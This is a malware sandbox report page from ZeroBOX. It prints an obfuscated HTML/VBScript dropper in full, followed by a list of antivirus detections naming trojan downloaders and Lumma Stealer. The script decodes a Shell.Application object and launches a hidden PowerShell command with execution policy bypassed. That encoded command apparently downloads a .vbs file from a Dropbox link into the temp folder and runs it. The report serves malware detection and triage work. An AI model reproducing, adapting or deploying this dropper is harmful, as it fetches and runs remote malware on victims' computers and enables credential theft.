Static | ZeroBOX
No static analysis available.
<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<html>
<body>
<sCripT TYPe="texT/vBsCrIpt">
FuNCtioN iefzylhofyhi ( byVAl utzmnzfferpd ) : DIM efpltpeqvyxo , wtugdxtfweua : sET efpltpeqvyxo = CreATEOBjEct ( "MsXMl2.DOMDocUmEnT.3.0" ) : set wtugdxtfweua = efpltpeqvyxo.CREaTeelEMenT ( "bASE64" ) : wtugdxtfweua.DaTatyPE = "BIN.BaSe64" : wtugdxtfweua.TeXt = utzmnzfferpd : iefzylhofyhi = askuitwegedt ( wtugdxtfweua.NoDetypEDvaluE ) : Set wtugdxtfweua = NOThiNg : set efpltpeqvyxo = NOTHINg : END FUnction : fuNCTION askuitwegedt ( pziobengsmbk ) : dim ytpasvieoryw : sEt ytpasvieoryw = CREatEObJeCt ( "Adodb.StrEam" ) : ytpasvieoryw.TyPe = 1 : ytpasvieoryw.oPeN : ytpasvieoryw.wrItE pziobengsmbk : ytpasvieoryw.poSItioN = 0 : ytpasvieoryw.tyPE = 2 : ytpasvieoryw.CHaRset = "uS-aSCIi" : askuitwegedt = ytpasvieoryw.REAdTExT : SET ytpasvieoryw = NoTHing : eNd fUncTIoN : DIm utzmnzfferpd , efpltpeqvyxo : seT utzmnzfferpd = CrEAtEoBjEcT ( iefzylhofyhi("U2hFTGwuQVBQTEljYVRpT24=") ) : efpltpeqvyxo = "PoWershELl
-eX ByPAss -NOP -w hIDDeN -EC IAAJAHMAZQB0AC0AYwBPAG4AdABFAE4AVAAgAAkALQBWAEEAIAAJACgAIAAJAC4AKABnAGMATQAgACoAVwAtAG8AKgApACAACQBuAEUAVAAuAHcAZQBiAEMATABpAEUATgB0ACAAIAApAC4ARABvAFcAbgBsAG8AQQBkAFMAVABSAGkAbgBnACgAIAAJAB0gaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZAByAG8AcABiAG8AeAAuAGMAbwBtAC8AcwBjAGwALwBmAGkALwBnADcAegB6AHcAaABxADAAbAA1AGIAZAAxAG0AbAB0AG0ANgBrADcAZgAvAFMAZAB0AGIAYwBvAHkALgB2AGIAcwA/AHIAbABrAGUAeQA9ADkAMABhAGYAbABtAGcAbgA5AGwAMgAxAGEANQB5AHAAZgA3AGoAcQBzAHcAbgBrADQAJgBzAHQAPQB5AGIAagBoAG4AdABwAGUAJgBkAGwAPQAxAB0gIAApACAACQAtAEUATgAgACAAUwBUAFIAaQBuAGcAIAAgAC0AcABBAHQAaAAgAAkAHSAkAGUATgBWADoAVABNAFAAXABTAGQAdABiAGMAbwB5AC4AdgBiAHMAHSAgAAkAOwAgAAkAaQBuAFYATwBrAEUALQBJAHQAZQBNACAAHSAkAEUATgBWADoAdABNAFAAXABTAGQAdABiAGMAbwB5AC4AdgBiAHMAHSA=
" : utzmnzfferpd.SheLlEXecutE ChR ( 34 ) & utzmnzfferpd.ExPAndenviRonmeNtsTRINgs( iefzylhofyhi("JWNvTVNwZUMl") ) & CHr ( 34 ) & Chr ( 34 ) & iefzylhofyhi("L0Mg") & efpltpeqvyxo & ChR ( 34 ) , , , 0 : SeT utzmnzfferpd = noTHing
SeLf.clOsE
</script>
</body>
</html>
Antivirus Signature
Bkav Clean
Lionic Trojan.HTML.Electryon.a!c
ClamAV Clean
CTX vba.trojan.electryon
CAT-QuickHeal Clean
Skyhigh Clean
ALYac VBS:Electryon.380
Malwarebytes Clean
Zillya Clean
Sangfor Clean
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Trojan.Gen.MBT
ESET-NOD32 PowerShell/TrojanDownloader.Agent.KIV
TrendMicro-HouseCall Trojan.HTML.LUMMASTEALER.YXELMZ
Avast Script:SNH-gen [Drp]
Cynet Clean
Kaspersky Trojan-Downloader.VBS.Tiny.c
BitDefender VBS:Electryon.380
NANO-Antivirus Trojan.Script.ExpKit.eurlzq
ViRobot Clean
MicroWorld-eScan VBS:Electryon.380
Tencent Win32.Trojan-Downloader.Downloader.Kmnw
Sophos Clean
F-Secure Clean
DrWeb Clean
VIPRE VBS:Electryon.380
TrendMicro Trojan.HTML.LUMMASTEALER.YXELMZ
CMC Clean
Emsisoft VBS:Electryon.380 (B)
huorong Clean
FireEye VBS:Electryon.380
Jiangmin Clean
Varist XML/ABApplication.CW
Avira Clean
Fortinet Clean
Antiy-AVL Clean
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit VBS:Electryon.380
SUPERAntiSpyware Clean
Microsoft Clean
Google Detected
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Clean
VBA32 Clean
Zoner Clean
Rising Clean
Yandex Clean
Ikarus HTML.ExploitKit
MaxSecure Clean
GData VBS:Electryon.380
AVG Script:SNH-gen [Drp]
Panda Clean
alibabacloud Trojan[downloader]:Win/Tiny.c
No IRMA results available.